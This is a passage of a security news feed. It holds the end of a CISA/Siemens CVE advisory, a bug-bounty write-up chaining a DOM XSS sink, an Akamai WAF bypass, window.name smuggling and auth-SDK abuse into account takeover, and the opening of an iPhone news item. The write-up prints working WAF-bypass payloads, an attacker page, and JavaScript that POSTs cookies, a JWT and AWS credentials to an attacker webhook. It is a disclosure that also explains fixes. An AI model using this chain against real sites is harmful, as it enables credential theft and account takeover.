<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23238</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: romfs: check sb_set_blocksize() return value romfs_fill_super() ignores the return value of sb_set_blocksize(), which can fail if the requested block size is incompatible with the block device's configuration. This can be triggered by setting a loop device's block size larger than PAGE_SIZE using ioctl(LOOP_SET_BLOCK_SIZE, 32768), then mounting a romfs filesystem on that device. When sb_set_blocksize(sb, ROMBSIZE) is called with ROMBSIZE=4096 but the device has logical_block_size=32768, bdev_validate_blocksize() fails because the requested size is smaller than the device's logical block size. sb_set_blocksize() returns 0 (failure), but romfs ignores this and continues mounting. The superblock's block size remains at the device's logical block size (32768). Later, when sb_bread() attempts I/O with this oversized block size, it triggers a kernel BUG in folio_set_bh(): kernel BUG at fs/buffer.c:1582! BUG_ON(size &gt; PAGE_SIZE); Fix by checking the return value of sb_set_blocksize() and failing the mount with -EINVAL if it returns 0.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23238">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-24515</a></h3>
<div class="csaf-accordion-content">
<p>In libexpat before 2.7.4, XML_ExternalEntityParserCreate does not copy unknown encoding handler user data.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-24515">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>2.9</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-25210</a></h3>
<div class="csaf-accordion-content">
<p>In libexpat before 2.7.4, the doContent function does not properly determine the buffer size bufSize because there is no integer overflow check for tag buffer reallocation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-25210">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L">CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-26157</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in BusyBox. Incomplete path sanitization in its archive extraction utilities allows an attacker to craft malicious archives that when extracted, and under specific conditions, may write to files outside the intended directory. This can lead to arbitrary file overwrite, potentially enabling code execution through the modification of sensitive system files.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-26157">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/73.html">CWE-73 External Control of File Name or Path</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-26158</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in BusyBox. This vulnerability allows an attacker to modify files outside of the intended extraction directory by crafting a malicious tar archive containing unvalidated hardlink or symlink entries. If the tar archive is extracted with elevated privileges, this flaw can lead to privilege escalation, enabling an attacker to gain unauthorized access to critical system files.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-26158">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/73.html">CWE-73 External Control of File Name or Path</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-35535</a></h3>
<div class="csaf-accordion-content">
<p>In Sudo through 1.9.17p2 before 3e474c2, a failure of a setuid, setgid, or setgroups call, during a privilege drop before running the mailer, is not a fatal error and can lead to privilege escalation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-35535">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/271.html">CWE-271 Privilege Dropping / Lowering Errors</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.4</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-41918</a></h3>
<div class="csaf-accordion-content">
<p>The affected applications stores sensitive information in the browser cache when an authenticated user modify specific configurations. This could allow an authenticated attacker to access sensitive data stored in the browser.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-41918">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/525.html">CWE-525 Use of Web Browser Cache Containing Sensitive Information</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-253495 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-06-02</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-06-02</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-07</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-253495 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chaining a DOM XSS Sink, WAF Bypass, Cross-Origin Smuggling, and SDK Abuse into One Click Account…]]></title>
<description><![CDATA[Chaining a DOM XSS Sink, WAF Bypass, Cross-Origin Smuggling, and SDK Abuse into One Click Account TakeoverThere’s a browser property called window.name that’s easy to overlook because it behaves differently from what most browser state does, it persists across navigations. Whatever you set it to ...]]></description>
<link>https://tsecurity.de/de/3651408/hacking/chaining-a-dom-xss-sink-waf-bypass-cross-origin-smuggling-and-sdk-abuse-into-one-click-account/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651408/hacking/chaining-a-dom-xss-sink-waf-bypass-cross-origin-smuggling-and-sdk-abuse-into-one-click-account/</guid>
<pubDate>Tue, 07 Jul 2026 13:54:50 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Chaining a DOM XSS Sink, WAF Bypass, Cross-Origin Smuggling, and SDK Abuse into One Click Account Takeover</h3><blockquote>There’s a browser property called <strong>window.name</strong> that’s easy to overlook because it behaves differently from what most browser state does, it persists across navigations. Whatever you set it to on your own page arrives intact in the next origin the tab visits, and if that origin evaluates it as code, you never had to put your payload in a URL at all. That’s the part Akamai never saw, and honestly one of the cleanest bypasses I’ve come across</blockquote><p>I’ve been hunting on this large platform’s bug bounty program on HackerOne for a while. They have a broad wildcard scope and run Akamai in front of everything meaningful. That combination produces a specific kind of bug: the sink is usually there, the WAF is usually in the way, and the interesting question is always whether you can thread the payload through the gap between them.</p><p>This writeup is about a chain that took four independent defects to complete: <em>a DOM XSS</em> sink with no scheme validation, an <em>Akamai WAF </em>rule with a structural flaw, the <em>window.name property</em>’s unusual cross-origin behavior, and a first-party <em>authentication SDK</em> that hands over signed credentials to whoever executes JavaScript in its origin. Any one of those four things is a bug report on its own. Together they were a one-click account takeover that handed me the victim’s signed JWT and live AWS STS credentials in two separate AWS accounts.</p><h3>1. Finding the Sink</h3><p>I was reading the application’s JavaScript bundles looking for <strong>open redirect sinks</strong>, anything that consumes a URL parameter and passes it directly to location.assign, location.replace, or location.href. The error-page component stood out immediately.</p><p>The application handles a set of named error conditions, clock drift, filter failures, auth service timeouts, with a shared React component that renders a user-facing message and an action button. The button’s onClick handler reads a <strong>backURL query parameter </strong>and calls <strong>window.location.assign</strong> on it. Here’s the relevant function from the minified production bundle:</p><pre>A = function(e){<br>var r = e.id, t = (0, k.zy)(), n = new URLSearchParams(t.search);<br>function o(e){<br>e.preventDefault();<br>var r = n.get("backURL");<br>("Reload Page" !== f &amp;&amp; "Please try again." !== f) || !r<br>? window.location.assign(g || t.pathname)<br>: window.location.assign(r); // no validation<br>}<br>var s = O.$D[r], u = s.img, d = s.title, p = s.description, f = s.action, g = s.linkText;<br>return …&lt;button onClick={o}&gt;{f}&lt;/button&gt;…;<br>}</pre><p>window.location.assign executes a javascript: URL synchronously in the calling document’s origin. There is no scheme check, no host check, no sanitization. The only gate is that the button’s action label must be “<em>Reload Page</em>” or “<em>Please try again.</em>”, determined by the error type in the URL path, for the dangerous branch to run.</p><p>The cleanest entry point was an error path whose rendered button reads <em>“Reload Page”</em> and presents itself as a routine timing error. Nothing suspicious about the URL bar. It’s a real application domain throughout.</p><p>The sink is there. The problem is getting a javascript: payload through Akamai.</p><h3>2. The Wall</h3><p>Akamai’s WAF sits in front of the application. Send backURL=javascript:alert(1) and you get HTTP 403. Expected. The interesting question is what the rule actually looks like.</p><p>I started mapping it <strong>systematically</strong>, every encoding trick I knew:</p><pre>javascript:alert(1) → 403<br>javascript:alert%28%29 → 403 (percent-encoded parens)<br>javascript:%2528%2529 → 403 (double-encoded)<br>javascript:eval(name) → 403<br>javascript:Function(name)() → 403<br>javascript:setTimeout(name) → 403<br>javascript:[].constructor.constructor(name)() → 403<br>javascript:({}).valueOf.constructor(name)() → 403<br>javascript:new Function(name)() → 403<br>javascript:document.body.innerHTML=… → 403<br>javascript:location='https://…' → 403<br>javascript:alert(1) → 403 (unicode escapes)<br>java%E2%80%8Bscript:alert(1) → 403 (zero-width space)<br>java%C0%80script:alert(1) → 403 (overlong UTF-8)</pre><p>Getter tricks, backtick calls, throw expressions. All 403. After about eighty probes I stopped trying variants and started looking at the data differently. I wrote down what every blocked payload had in common, and separately what every passing payload had in common.</p><p>The passing ones:</p><pre>javascript:top[name](1) → 200<br>javascript:[name].forEach(top[name]) → 200<br>javascript:Promise.resolve(name).then(top[name]) → 200<br>javascript:Reflect.apply(top[name],null,[1]) → 200</pre><p>Every blocked payload had a JavaScript keyword sitting directly adjacent to an opening parenthesis. alert(, eval(, Function(, setTimeout(. Every passing payload had some non-whitespace token between the keyword and the paren. Akamai’s rule appeared to be a regex matching keyword immediately followed by a paren, with optional whitespace in between. Insert anything else between the keyword and the call and the rule never fires.</p><h3>3. The Payload</h3><p>The winning payload was :</p><pre>javascript:top["setTimeout"](name)</pre><p><em>top[“setTimeout”] </em>is property-access syntax. Akamai sees no keyword adjacent to a paren, so the request passes with HTTP 200. The browser resolves top[“setTimeout”] to window.setTimeout. Then it calls it with window.name as the argument. setTimeout with a string argument evaluates that string as JavaScript, same behavior as eval, without the word eval appearing anywhere in the URL.</p><p>What makes this composable is what <strong>window.name</strong> actually is. It’s a per-tab string property that survives cross-origin navigation. When a user follows a link from attacker.example.com to the target application, the tab’s window.name carries over. It’s not governed by the same-origin policy. It belongs to the tab, not the document. So I set window.name to any JavaScript I want on my own page, then redirect the user to the vulnerable error URL. The payload is never in the URL, never inspected by Akamai. The URL contains only the harmless-looking dispatcher.</p><p>The attacker page is four lines:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;&lt;body&gt;<br>&lt;script&gt;<br>window.name = "alert('XSS in ' + document.domain)";<br>location.href =<br>"https://app.[target].com/[feature]/error/clock-sync"<br>+ "?backURL=javascript:top%5B%22setTimeout%22%5D(name)";<br>&lt;/script&gt;<br>&lt;/body&gt;&lt;/html&gt;</pre><p>Victim lands on the attacker page, gets redirected to a real application URL, sees a <em>“Time Sync Error”</em> page with a Reload Page button, and <strong>clicks it</strong>. JavaScript executes in the target origin. Confirmed from a live run:</p><pre>[XSS-FIRED] alert: XSS in app.[target].com cookie=[session]=…</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*_osiOoYxPpI6pOCZ1NMMxw.png"></figure><h3>4. The SDK</h3><p>Arbitrary code execution in the target origin is already a serious finding. But the application loads something that turns it into a much bigger problem.</p><p>Every page on this platform loads two SDK bundles from the platform’s own CDN. Together they install a global authentication object on the window with 21 methods. The ones that matter here:</p><pre>[platform].core.iam.getAuthSession() // full session metadata + profile<br>[platform].core.iam.getJWTToken() // signed platform JWT<br>[platform].core.iam.getTempAWSCreds(domain) // live AWS STS temporary credentials<br>[platform].core.iam.getCatapultId() // Cognito identity pool ID</pre><p>These methods make credentialed XHR calls back to the platform’s IAM endpoints with credentials included. The browser attaches the session cookie to those requests automatically, even if the cookie is HttpOnly. The SDK functions return the IAM responses directly to the calling JavaScript.</p><p><strong>The SDK is the cookie.</strong> You don’t need to read document.cookie. You call getTempAWSCreds() and it comes back with an access key ID, a secret, and a session token. The platform exposes two different AWS domains to standard user accounts. Two separate AWS accounts.</p><h3>5. The Chain</h3><p>The payload that runs inside the target origin once window.name is evaluated:</p><pre>(async function() {<br>var h = 'https://[ATTACKER-WEBHOOK]';<br>var send = function(label, data) {<br>return fetch(h, {<br>method: 'POST', mode: 'no-cors',<br>headers: {'Content-Type': 'text/plain'},<br>body: JSON.stringify({ label: label, origin: document.domain, cookies: document.cookie, data: data })<br>});<br>};<br>await send('handshake', 'fired in ' + document.domain);<br>var s = [platform].core.iam.getAuthSession();<br>await send('session', s);<br>await send('jwt', await [platform].core.iam.getJWTToken());<br>await send('aws_a', await [platform].core.iam.getTempAWSCreds('[aws-domain-a]'));<br>await send('aws_b', await [platform].core.iam.getTempAWSCreds('[aws-domain-b]'));<br>}());</pre><p>The attacker page that delivers it. The payload above is serialized into window.name as a plain string, then the victim is redirected. Since window.name persists across navigations, it arrives intact in the target origin where setTimeout evaluates it.</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;&lt;body&gt;<br>&lt;script&gt;<br>window.name = "(async function(){ /* payload above */ }())";<br>location.href =<br>"https://app.[target].com/[feature]/error/clock-sync"<br>+ "?backURL=javascript:top%5B%22setTimeout%22%5D(name)";<br>&lt;/script&gt;<br>&lt;/body&gt;&lt;/html&gt;</pre><p>I ran this against my own test account. Nine POSTs <strong>hit the webhook</strong> in 8 seconds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Poy5ue-iFeXbfYJI-5IQag.png"></figure><p>The session object came back with the <strong>full profile</strong>: first name, username, account namespace, account type, plus a session UUID. <strong>The JWT</strong> was 1488 characters, RS256, signed by the platform’s auth service, accepted as bearer credentials at every platform API for roughly 15 minutes. Its decoded payload included the victim’s legal name, email, home address, graduation date, and cohort year, all regulated education records, potentially belonging to a minor.</p><p>Then <strong>the AWS credentials</strong>. The first set resolved to a named user IAM role in one AWS account. The second set, confirmed by a different key ID prefix and a distinct account identifier in the token metadata, came from a completely separate AWS account. Both arrived from a single javascript: URL, via a button labeled <em>“Reload Page,”</em> on a page that looked entirely legitimate.</p><h3>6. Four Bugs, Not One</h3><p>The chain works because four things fail at the same time, each independently.</p><p>The first is the <strong>sink</strong> itself. The error page reads backURL from the query string and passes it directly to window.location.assign without checking the scheme. The fix is straightforward: parse the value with new URL() and reject anything whose protocol field isn’t https. That one change kills the entire chain regardless of what the WAF does or doesn’t do.</p><p>The second is the <strong>WAF rule.</strong> Akamai’s pattern matches a keyword directly adjacent to an opening paren. It has no awareness of property-access syntax, so top[“setTimeout”], where the keyword appears inside a string accessed via bracket notation, doesn’t trigger it. A rule that rejects any request URL whose scheme is javascript: outright, regardless of the surrounding syntax, would close this. But as I found over eighty probes, a regex-based keyword-paren rule has a structural hole.</p><p>The third is <strong>window.name</strong>. This is documented browser behavior. window.name is intentionally cross-origin, a design decision from before postMessage existed, when developers needed a way to pass data across frames. There’s no browser-level fix for this. The only mitigation is making sure the application sink isn’t exploitable in the first place, because once the sink is gone there’s nothing for the smuggling channel to deliver to.</p><p>The fourth is the <strong>auth SDK</strong>. When a platform loads authentication logic as a global object on every page, any XSS anywhere in its wildcard scope becomes a full credential theft, not just a session hijack. Cookie flags are irrelevant when the SDK makes credentialed requests on your behalf and returns the credentials directly to the executing script. The payload sitting in window.name, all 1896 characters of it, never appeared in the request that passed through Akamai. The URL that did pass through was clean.</p><h3>Takeways</h3><p>The useful thing was not the string.</p><p>The useful thing was the model.</p><blockquote>When every encoding trick returns 403, probing more variants is usually the wrong level of work. <strong>Model the rule</strong>. The key observation was not “this payload works.” It was “the blocked payloads all have keyword-call adjacency, and the passing payloads all break that adjacency.”</blockquote><p>window.name remains worth keeping in mind for javascript URL sinks because it separates transport from payload. The WAF sees the dispatcher. The tab carries the code.</p><p>Global auth SDKs change XSS severity. If the page exposes methods that mint JWTs, temporary AWS credentials, signed API requests, or profile objects, the question is no longer only “can I steal the cookie?” The better question is what the platform already exposes to JavaScript after login.</p><p>The reload button did exactly what the developers asked it to do. It reloaded the user toward a URL from the query string.</p><p>The browser supplied the rest.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=6c1a7095f8e1" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/chaining-a-dom-xss-sink-waf-bypass-cross-origin-smuggling-and-sdk-abuse-into-one-click-account-6c1a7095f8e1">Chaining a DOM XSS Sink, WAF Bypass, Cross-Origin Smuggling, and SDK Abuse into One Click Account…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[iPhone Air 2 battery expected to hit 30 hours of use from a single charge]]></title>
<description><![CDATA[The iPhone Air 2 is rumored to last longer than the original thanks to a much larger battery, fixing one of the biggest flaws of the super-thin smartphone.The current-gen iPhone AirThe iPhone Air was a device of compromise, with its thin frame made possible by some size-cutting specification choi...]]></description>
